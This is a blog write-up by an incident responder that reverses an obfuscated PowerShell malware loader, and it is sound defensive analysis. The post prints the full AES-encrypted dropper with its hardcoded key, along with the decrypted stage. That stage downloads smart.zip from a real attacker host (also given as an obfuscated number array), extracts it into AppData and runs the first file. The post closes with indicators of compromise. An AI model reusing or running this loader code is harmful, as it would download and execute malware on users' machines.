Dealing with obfuscated scripts is an everyday challenge as an Incident Handler/Responder. These scripts, often looks like gibberish/unrecognize strings is actually codes wrapped in layers of encryption and obfuscation, aim to evade detection and analysis. This write-up is intended particularly on obfuscated PowerShell script, try to understand and reversing it to see the purpose of the script.

Initial Encounter

The script in question appeared as a string of seemingly random hexadecimal characters, wrapped in a PowerShell command. At first glance, it’s clear this isn’t your average piece of code. The attacker has taken steps to ensure it’s not easily readable, using techniques that obscure the payload and its execution. But no matter how deeply they obscure the code, there’s always a way to reverse it and reveal its true motive.

"powershell.exe" -w 1 -ep Unrestricted -nop function CYGbR($qWKux){return -split ($qWKux -replace '..', '0x$& ')};
$LsKKyE = CYGbR('995419787D67042A4A9140A3CDBAB4428D8A39C41D495CD77A1D6DE416FCCA0C9AD57CC554A2AAB8548E51EDC73AD1D4EC13063FBE0CC2B75F97595D45D3EE674DA16472E55F2B1777FE7FBC6E32A313DA3388A22AB49DCE2D34C1D74B365A6E73C8651CC2150825887FD62DB67E2DA8F7A8930B42C2E3DCA14C4FF4413DDBC3D3CB07402187831806911937F72A71265477A585656F5E33D4111E67270E646B3C8D8DDE8B354020A3250A201DCCD0610E70D1426F407AA32FD8BD8B69168BD840FFB5F16BFF2B1F77598D7CD28E5B647F9608A6BE3DEC13C835A809AC2226E4F85CE2873411E5A22ECD887B0A62E3797FF94FF958F200884A9930B0FE1356ECBC1E580FAFCF4F9426E74A4532EB18A3F19BC5E929A416E6EE6EFF9A5B2FD92BF8DA2265C79A592C93764ED4D62590673DB021522798548CD6D983912B5086F554363ACA1C4513B9B00C1C23C909F37FD92CA895DCD9831796703D621D93F5FAA91E313A69B5A58712D9F052F1ACBB76EB30B02548557D3DC2376C1AF31EB76D418EA67ADFED7F178194BAD263566C56700BF1900BC780612D18943A84B2A0B27CBFCA1C20E5B9DFDC1D77297B21FE4E084E6D3013026C4336CBC4B06F153EEBDBA89D6066ED5BE49922D2C0BE9A5766E5CEA6091D2E03C212168E5840CDDC30DC249055CACC5A7543F512F3121274AA5DA1AAEEFF68355F12B881D2C78694A9362EF1BF423005E9772986C29FB930505A6FAC954D5CD0DCC8AD2005A87F3725C7F31F5E98320694F7781F2B5973DBD6A3D7F59C232363FE41DFDD6282D63265008BDC8C04C046C8F39123657D053181E43EFDF727F66315B750CB9C8BCE75F4A3F2289D97E7FC28E9959A06C6FBEE6C2A27DDED1AE3E5ED6043E243F0821D75EBDF73CB6CC05D5021357CE0ACF6D642C9BE28C52C11D856938C78A2CADFB27037BF11137B4112A06FBAE702AA1E30FC9874D50F33D50129141A24250F4A333A4431437A81774D556C9A06BCE652EEF9B24D11F149D8A2CB6FB76E315D3845394D3F847B1228CBB972DE2484C9E479BC96828A9A4373CA075836F3A3E13B2038AF72F48585FE3467A39071C833126A1F600D5F140EDE89A4092EDBF5C4D92C5588F8C58DC0711F90A828C301DA118C88068175CD7EA845545310AA66533C0C80A6C716BEAB35AD6F1079896248EFEFBB85C7FB16FF8734BF06AD61460D9E9538122768FE94D6646D7D65DAF76674C9A89FF0881498F733331D37BDC4A36787484BD3ECE1881CB4E5006C5F0ED2B307DEB43EF0F966CD9911231DD2D97FFDE6BD42B09F42A69E265CA5EB96791EC4C4818A95D6EAD17F14B727F981DC83BAB5355560CD77EBDF35DF28F48B4EA1FC0E4A577A312848EFADAEA7258D7B31D4B65E4F8E3E3DB6DD44F831C34ECFA1953ABBB0DA3CE655F08C50F807692A472842E69D24C073A7FD41D1DEBAF4EC6678AAC058FA5964B475147AA51E2CCDDDDD6A26E958BF8A7669E3FC6578F0666557A1B898E338D3EBB03EF48A1C2AC7803B025AB62BA115C83990B9024D147888566599650F527439340C0C38C69EA8DB57BAAB58628B795CA0C162EFA9F3B0F290EEE0');
$GfJyt = [System.Security.Cryptography.Aes]::Create();
$GfJyt.Key = CYGbR('56506278516776785664517942426767');
$GfJyt.IV = New-Object byte[] 16;
$IsJLWzWa = $GfJyt.CreateDecryptor();
$nXUiqLzGb = $IsJLWzWa.TransformFinalBlock($LsKKyE, 0, $LsKKyE.Length);
$AVkvuKLJk = [System.Text.Encoding]::Utf8.GetString($nXUiqLzGb);
$IsJLWzWa.Dispose();
& $AVkvuKLJk.Substring(0,3) $AVkvuKLJk.Substring(3)

The script has several eye catching strings/function – function on creating an AES decryptor (CreateDecryptor), a hardcoded key, and then a large block of hexadecimal data. There are also “System.Security.Cryptography.Aes” function – [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-8.0]; which suggest that the script is using AES cryptography for its encryption.

The First Layer: Hexadecimal to Bytes

The script uses a function named “CYGbR” to transform the hexadecimal string into an array of bytes. This transformation is a common technique in obfuscation, where attackers convert readable text into a less human-readable format. The function works by replacing every two characters in the string with 0x followed by those characters, effectively converting it into a format that can be processed as bytes.

function CYGbR($qWKux){
    return -split ($qWKux -replace '..', '0x$& ')
}

After running this function on the large hexadecimal string, what we get is a sequence of bytes, still unreadable to the naked eye but ready for the next stage: decryption.

The Second Layer: AES Decryption

AES (Advanced Encryption Standard) is a strong encryption algorithm, and in this script, it’s being used to hide the actual payload. The key to this encryption is another obfuscated string, processed through the same “CYGbR” function to convert it into bytes.

The script creates a decryptor using this key and an Initialization Vector (IV) of zeros, which is a clue that the attacker was looking for simplicity in implementation, possibly to avoid mistakes in the decryption process.

$GfJyt = [System.Security.Cryptography.Aes]::Create();
$GfJyt.Key = CYGbR('56506278516776785664517942426767');
$GfJyt.IV = New-Object byte[] 16;
$IsJLWzWa = $GfJyt.CreateDecryptor();
$nXUiqLzGb = $IsJLWzWa.TransformFinalBlock($LsKKyE, 0, $LsKKyE.Length);

The decrypted bytes are then converted into a UTF-8 string, which is where the real content is finally revealed. This string is the payload, and it’s executed immediately by the script.

Unveiling the Payload

To deobfuscate the script, we going to debug it using PowerShell ISE

$encryptedHex = '995419787D67042A4A9140A3CDBAB4428D8A39C41D495CD77A1D6DE416FCCA0C9AD57CC554A2AAB8548E51EDC73AD1D4EC13063FBE0CC2B75F97595D45D3EE674DA16472E55F2B1777FE7FBC6E32A313DA3388A22AB49DCE2D34C1D74B365A6E73C8651CC2150825887FD62DB67E2DA8F7A8930B42C2E3DCA14C4FF4413DDBC3D3CB07402187831806911937F72A71265477A585656F5E33D4111E67270E646B3C8D8DDE8B354020A3250A201DCCD0610E70D1426F407AA32FD8BD8B69168BD840FFB5F16BFF2B1F77598D7CD28E5B647F9608A6BE3DEC13C835A809AC2226E4F85CE2873411E5A22ECD887B0A62E3797FF94FF958F200884A9930B0FE1356ECBC1E580FAFCF4F9426E74A4532EB18A3F19BC5E929A416E6EE6EFF9A5B2FD92BF8DA2265C79A592C93764ED4D62590673DB021522798548CD6D983912B5086F554363ACA1C4513B9B00C1C23C909F37FD92CA895DCD9831796703D621D93F5FAA91E313A69B5A58712D9F052F1ACBB76EB30B02548557D3DC2376C1AF31EB76D418EA67ADFED7F178194BAD263566C56700BF1900BC780612D18943A84B2A0B27CBFCA1C20E5B9DFDC1D77297B21FE4E084E6D3013026C4336CBC4B06F153EEBDBA89D6066ED5BE49922D2C0BE9A5766E5CEA6091D2E03C212168E5840CDDC30DC249055CACC5A7543F512F3121274AA5DA1AAEEFF68355F12B881D2C78694A9362EF1BF423005E9772986C29FB930505A6FAC954D5CD0DCC8AD2005A87F3725C7F31F5E98320694F7781F2B5973DBD6A3D7F59C232363FE41DFDD6282D63265008BDC8C04C046C8F39123657D053181E43EFDF727F66315B750CB9C8BCE75F4A3F2289D97E7FC28E9959A06C6FBEE6C2A27DDED1AE3E5ED6043E243F0821D75EBDF73CB6CC05D5021357CE0ACF6D642C9BE28C52C11D856938C78A2CADFB27037BF11137B4112A06FBAE702AA1E30FC9874D50F33D50129141A24250F4A333A4431437A81774D556C9A06BCE652EEF9B24D11F149D8A2CB6FB76E315D3845394D3F847B1228CBB972DE2484C9E479BC96828A9A4373CA075836F3A3E13B2038AF72F48585FE3467A39071C833126A1F600D5F140EDE89A4092EDBF5C4D92C5588F8C58DC0711F90A828C301DA118C88068175CD7EA845545310AA66533C0C80A6C716BEAB35AD6F1079896248EFEFBB85C7FB16FF8734BF06AD61460D9E9538122768FE94D6646D7D65DAF76674C9A89FF0881498F733331D37BDC4A36787484BD3ECE1881CB4E5006C5F0ED2B307DEB43EF0F966CD9911231DD2D97FFDE6BD42B09F42A69E265CA5EB96791EC4C4818A95D6EAD17F14B727F981DC83BAB5355560CD77EBDF35DF28F48B4EA1FC0E4A577A312848EFADAEA7258D7B31D4B65E4F8E3E3DB6DD44F831C34ECFA1953ABBB0DA3CE655F08C50F807692A472842E69D24C073A7FD41D1DEBAF4EC6678AAC058FA5964B475147AA51E2CCDDDDD6A26E958BF8A7669E3FC6578F0666557A1B898E338D3EBB03EF48A1C2AC7803B025AB62BA115C83990B9024D147888566599650F527439340C0C38C69EA8DB57BAAB58628B795CA0C162EFA9F3B0F290EEE0'
$keyHex = '56506278516776785664517942426767'


function Convert-HexToBytes($hexString) {
    return -split ($hexString -replace '..', '0x$& ') | ForEach-Object { [Convert]::ToByte($_, 16) }
}

$encryptedBytes = Convert-HexToBytes $encryptedHex
$keyBytes = Convert-HexToBytes $keyHex


$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $keyBytes
$aes.IV = New-Object byte[] 16 # 16 bytes of zeros for the IV

$decryptor = $aes.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length)

# Convert the decrypted bytes to a string
$decryptedString = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)


Write-Output $decryptedString

Upon running the script, the result was the following PowerShell code:

iexfunction cBC($bgc, $AFI){[IO.File]::WriteAllBytes($bgc, $AFI)};
function jyM($bgc){
	$tLFI = $env:AppData;
	Expand-Archive -Path $bgc -DestinationPath $tLFI;
	Add-Type -Assembly System.IO.Compression.FileSystem;
	$zipFile = [IO.Compression.ZipFile]::OpenRead($bgc);
	$JXWxb =($zipFile.Entries | Sort-Object Name | Select-Object -First 1).Name;
	$aftW = Join-Path $tLFI $JXWxb;
	start $aftW ;
};

function mSb($bti){
	$Smi = New-Object (Vmf @(6670,6693,6708,6638,6679,6693,6690,6659,6700,6697,6693,6702,6708)); #Net.WebClient
	[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
	$AFI = $Smi.DownloadData($bti);
	return $AFI
};

function Vmf($XSf){
	$neV=6592;
	$SbY=$Null;
	foreach($xIq in $XSf){
		$SbY+=[char]($xIq-$neV)
	};
	return $SbY
};

function HOC(){
	$TGd = $env:AppData + '\';;;
	$bdrqSgfuhbIIQI = $TGd + 'smart.zip'; 
	if (Test-Path -Path $bdrqSgfuhbIIQI){
		jyM $bdrqSgfuhbIIQI;
	}
	Else{
		$wJjZmngTK = mSb (Vmf @(6696,6708,6708,6704,6707,6650,6639,6639,6701,6697,6691,6706,6703,6707,6703,6694,6708,6647,6638,6690,6637,6691,6692,6702,6638,6702,6693,6708,6639,6707,6701,6689,6706,6708,6638,6714,6697,6704));
		cBC $bdrqSgfuhbIIQI $wJjZmngTK;
		jyM $bdrqSgfuhbIIQI
	};;;
}
HOC;

The script is used to download a file; named “smart.zip” from a remote location, save it as a ZIP archive in the user’s AppData directory, and then extract and execute the first file within the ZIP. The download URL is itself obfuscated, hidden behind another function.

Deobfuscating the URL

The function “Vmf” is used to translate an array of numbers into a string. Each number is manipulated by subtracting a constant value (6592) and converting the result into a character.

function Vmf($XSf){
    $neV=6592;
    $SbY=$Null;
    foreach($xIq in $XSf){
        $SbY+=[char]($xIq-$neV)
    };
    return $SbY
}

Again, we’re using PowerShell ISE to debug the function to see the true origin URL:

# Original Vmf function
function Vmf($XSf){
    $neV = 6592
    $SbY = $Null
    foreach($xIq in $XSf){
        $SbY += [char]($xIq - $neV)
    }
    return $SbY
}

# Obfuscate URL
$urlObfuscatedArray = @(6696,6708,6708,6704,6707,6650,6639,6639,6701,6697,6691,6706,6703,6707,6703,6694,6708,6647,6638,6690,6637,6691,6692,6702,6638,6702,6693,6708,6639,6707,6701,6689,6706,6708,6638,6714,6697,6704)

# Deobfuscate the URL
$deobfuscatedUrl = Vmf $urlObfuscatedArray

Write-Output "Deobfuscated URL: $deobfuscatedUrl"

Applying this function to the array of numbers provided in the script revealed the URL:

hxxps://microsoft7[.]b-cdn[.]net/smart.zip

This is where the script was attempting to download the ZIP file.

Conclusion

This post on how we deobfuscating PowerShell script is an example on how attackers hide/protect their code with obfuscation techniques, making it increasingly difficult for both automated tools and human analysts to decode purpose of the code. By looking and debugging each function and layer, the script’s purpose becomes clear: download, extract, and execute a potentially harmful file.

In a real-world incident response scenario, such analysis is crucial. Understanding these techniques not only aids in the immediate analysis but also helps in recognizing similar patterns in future threats. Having the ability to dissect and understand obfuscated scripts is a critical skill in to analyze obfuscated script.

Always remember to conduct such analysis in a controlled environment, as executing malicious code, even by accident, can have serious consequences.

IOC

IOCTypeVT Link
microsoft7[.]b-cdn[.]netDomainhttps://www.virustotal.com/gui/domain/microsoft7.b-cdn.net
hxxps://microsoft7[.]b-cdn[.]net/smart.zipURLhttps://www.virustotal.com/gui/url/c38e99746a3c5af9d2e4d03426e6c502ad0663b61774fcc77cf924ad871914de/detection
20177be9e65b0dfccad0f7b9443ce764dc15df67cbe236284ad24327ead53f91Hash (SHA256)https://www.virustotal.com/gui/file/20177be9e65b0dfccad0f7b9443ce764dc15df67cbe236284ad24327ead53f91

By zam

Any Comments?

This site uses Akismet to reduce spam. Learn how your comment data is processed.